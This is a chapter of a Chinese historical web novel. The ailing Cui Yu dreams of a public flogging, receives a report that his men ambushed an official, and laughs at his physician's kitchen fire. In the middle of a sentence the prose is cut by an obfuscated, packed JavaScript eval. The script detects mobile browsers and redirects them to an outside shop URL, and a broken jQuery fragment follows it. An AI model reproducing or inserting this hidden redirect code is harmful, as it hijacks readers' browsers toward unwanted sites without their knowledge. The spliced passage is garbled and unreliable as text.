骨生花已许久未曾发作,此次毒发异常凶险。崔昱浑浑噩噩,时昏时醒,只觉旁边一直有人在喂水喂药擦汗,一直折腾到大半夜才迷迷糊糊睡着。
不知是不是两道鞭伤的缘故,他又梦到了那些前尘往事。
感觉……好熟悉……
不是地牢的阴冷,也不是香山别院的孤寂,而是另一种令人窒息的感觉。
灼热的阳关炙烤着皮肤,喧嚣的声浪犹如潮水。
无数道探究的目光,像针一样扎在他身上。
元昭双手被吊起,粗糙的绳索勒进了皮肉里。烈日当空,晃得他睁不开眼睛,汗水顺着额角流下,蛰得眼睛生疼,嘴角干裂得厉害。
这里是……闹市口?
临时搭建起的高台,台下是黑压压的人群,指指点点,议论纷纷。
那些声音混杂在一起,嗡嗡作响,让他头晕目眩。
他艰难地抬起头,模糊的视线努力聚焦。
刑台前方,那个端坐在太师椅上,身着紫色官袍,面容肃穆,不怒自威的人……
是元维崧。
元维崧的眼神没有一丝温度,他只是淡淡地看着元昭,仿佛在看一个无关紧要的犯人。
“元昭,行事不谨,引发叠障山山火,惊扰百姓安宁,依律,鞭笞八十,以儆效尤。”
行刑的人是刑部老手,面无表情,手中的鞭子沾了水,在空中甩动,发出令人胆寒的呼啸声。
“啪!”
鞭子狠狠地抽在他的背脊上,单薄的衣衫应声而破,皮开肉绽的剧痛猛地炸开,火辣辣的感觉瞬间传遍全身,他的身体不受控制地剧烈一颤,闷哼一声,咬紧牙关,额头上瞬间布满了冷汗。
元维崧的目光,就像两把冰冷的刀子,钉在他的背上。目光里既没有心疼,也没有不忍,只有一种令人窒息的威压。
“啪!”
“啪!”
鞭子一下又一下地落下,精准狠辣,一点都没有放水。
元昭后背早已血肉模糊,疼痛变得麻木。汗水混着血水滑落,在刑台的木板上留下深色的印记。
他死死咬住下唇,口中血腥味弥漫开来。
不知过了多久。
“……八十!”
四周仿佛顿时安静下来,只剩下他自己粗重压抑的喘息声,还有台下百姓低低地唏嘘声。
模糊的视线里,元昭看见元维崧缓缓站起身,一步步走近。
周围的喧嚣似乎都远去了。
元维崧居高临下地看着他,看了很久,目光深沉难辨,“可知错?”
崔昱猛地倒吸一口气,挣扎着从噩梦中惊醒。
他浑身都是冷汗,不住发着抖,手腕疼得难受。外面雨越下越大,噼里啪啦打在窗棂上。
图竹不知何时已经离开,换成霍衡守着他。
霍衡在床边支了张窄小的竹榻,他睡得很浅,听到床上的动静,立刻惊醒,急忙起身凑了过去。
“昭昭,做噩梦了?”他坐在床沿,让崔昱靠在他身上,温热的手掌轻轻覆上他冰冷疼痛的手腕,小心翼翼地揉按着。
这手腕上的伤,多年未愈,犹如心病。
崔昱靠在霍衡的肩膀上,急促地喘息着,梦境的残影和身体的痛苦交织在一起,让他一时之间分不清今夕何夕。
他没有说话,只是闭着眼,感受着霍衡掌心传来的暖意。
过了好一会儿,身体的颤抖才渐渐平息下来。
“什么时辰了?”崔昱的声音沙哑得厉害。
“快天亮了。”霍衡看了看窗外依旧沉沉的夜色,“你再睡会儿,我守着。”
崔昱摇了摇头,他现在毫无睡意,随口道:“拿壶清酒来。”
“不行,不能饮酒。”霍衡想也不想便拒绝了他,调整了一下姿势,让他靠得更舒服些,一只手依旧稳稳地替他按着手腕。
天刚蒙蒙亮,荀典便提着药箱过来给他诊早脉。他睡得早也起得早,一进门,看到崔昱苍白的脸色,老头的眉头就拧成了疙瘩。
“胡闹,晚上怎么不来叫我?”荀典打眼一看就知道发生了什么,没好气地伸出手替崔昱诊脉。
脉象浮滑无力,时快时慢,显然是元气大伤,内息紊乱之兆。
他不再多言,只是打开药箱,取出金针,“躺好。”
崔昱顺从地躺下,荀典施针时,手法又快又准,带着一股不容置疑的狠劲,几针下去,崔昱苍白的脸上竟然真的恢复了一丝微弱的血色。
身体中那股深入骨髓的虚冷却是被驱散了不少。
刚刚起完针,李瑞山便带着一身清晨的露气走了进来。
“爷,事情办妥了。”
崔昱靠在枕上,闻言目光微凝,示意他继续说下去。
李瑞山压低声音,确保只有屋内几人能听到,“昨夜子时,元维崧回府途中遇袭,一击即中,足够他在床上躺一阵子了。现场处理得很干净,用的是南疆流窜匪寇惯用的兵器,不会查到我们头上,最多只当那巴莫的同党在报复。”
崔昱听完,沉默了片刻,脸上看不出什么表情,只是极轻地点了点头,“知道了,让兄弟们撤干净,近期小心行事。”
荀典一边是收拾金针,一边那眼梢瞥了崔昱一眼,哼了一声,“元气大伤,心神俱损,还惦记着算计旁人,你这身子骨,自己好好掂量吧。”
老头话虽说得不客气,动作却依旧利落,将一瓶新配好的药丸放在床头,“早晚一颗,先吃着,要是再糟践身子,老夫也懒得管你!”
崔昱微闭着眼睛,乖巧地点点头。
霍衡送荀典出去,一时间只剩下了崔昱和李瑞山二人。
屋内一时寂静,只剩下雨水敲打屋檐的余音,以及空气中弥漫的淡淡药草苦香。
“瑞山,我又梦见元维崧了……梦见他问我,可知错?”
李瑞山心头猛地一揪,他自然知道崔昱说的是什么事。他沉默着,倒了一杯水,温热的杯壁轻轻碰了碰崔昱冰凉的手指。
“爷,没人在您身边,我不放心……昨夜我和子权都出门办事了,若不是图大人……”他顿了顿,“当真凶险。”
崔昱并不接话,“图竹呢?”
“郊祀一事,事项繁多,他忙的脚不沾地。”
崔昱“嗯”了一声,不再说话。喝了药
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122083|193916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些困倦,他重新躺下,背对着李瑞山,声音闷闷传来,“困了,睡会儿。”
“好。”李瑞山应着,替他掖好被角。
许是李瑞山守在旁边,这一觉睡得很沉,醒来已到午时。
“昭昭,昭昭!大事不好了。”霍衡一阵风似的卷了进来,头发梢还滴着水,一脸火烧眉毛的焦急。
“慌什么,天塌了?”崔昱直起身,正在喝药。
霍衡喘着大气,指着外面,“不是天塌了,是……是荀先生他……他把厨房给点着了。”
“什么?”崔昱差点以为自己毒入肺腑出现了幻觉。
“就……就荀先生说昭昭你气血两亏,得补补,非要亲自去厨房熬什么十全大补汤!结果嫌灶火不旺,加了一把助燃的药粉,那火轰地一下就窜上房梁了!”
霍衡比划着,表情夸张,“瑞爷在救火呢,现在厨房顶上正冒着黑烟,满院子都是烟,跟遭了匪似的。”
崔昱闷闷地笑了两声,有些无奈,“荀先生人呢?没事儿吧。”
“荀先生被烟呛得直咳嗽,手里还攥着半根老山参不肯撒手呢。”
霍衡话音未落,就听见外面传来荀典中气十足的声音,“哪个混账小子泼的水?老夫的灵药啊……”
崔昱闷闷笑了起来,掀开被子就要下床,“我去看看。”
霍衡连忙按住他,“想都别想,你给我老实躺着。”
“去,告诉荀先生,就说斋主被他这动静惊得脉象又乱了,让他赶紧带着他的十全大补汤过来瞧瞧。”
“得令!”乌遥眼神一亮,转身就跑。
经过昨夜崔昱毒发而身边又没个人,李瑞山便从斋里调了些机灵的半大小子过来,乌遥就是其中之一。
这招果然灵验,没过一会儿,荀典就提着个熏得半黑的小药罐子,急匆匆又满脸心虚地冲进来,也顾不上计较厨房的事儿了,一把抓住崔昱的手腕,“快让老夫看看,怎么回事?定是你们这群粗人不会照顾。”
他凝神诊脉,崔昱配合地闭上眼睛,一副虚弱不堪的样子。
荀典诊了半天,狐疑地看了看崔昱看似苍白实则带点看戏表情的脸,又看了看旁边一脸严肃实则眼底含笑的霍衡,终于反应过来,气得胡子翘老高,“好哇!你们合起伙来骗老夫!”
崔昱忍不住抵笑出声,这一笑牵扯到腿上的鞭伤,顿时又“嘶”地吸了一口凉气。
荀典见状,也顾不上生气了,忙道:“别动别动!笑什么笑,伤口裂了有你好受的。”
他一边念叨一边打开药箱,“算了算了,看在你是个病人的份上,老夫不跟你们计较。来,把这碗十全大补汤喝了,压压惊。”
他吧那罐黑乎乎,散发着古怪焦糊味的汤递了过来。
崔昱和霍衡看着那碗东西,同时沉默了。
霍衡谨慎开口,“先生,这汤确定能喝?”
“怎么不能喝!”荀典瞪眼,“虽然卖相差了点,但是药效都在!快喝!”
崔昱看着荀典那一脸“你不喝就是看不起我毕生医术”的表情,认命地接了过来,屏住呼吸,一口灌了下去。
嗯,还活着。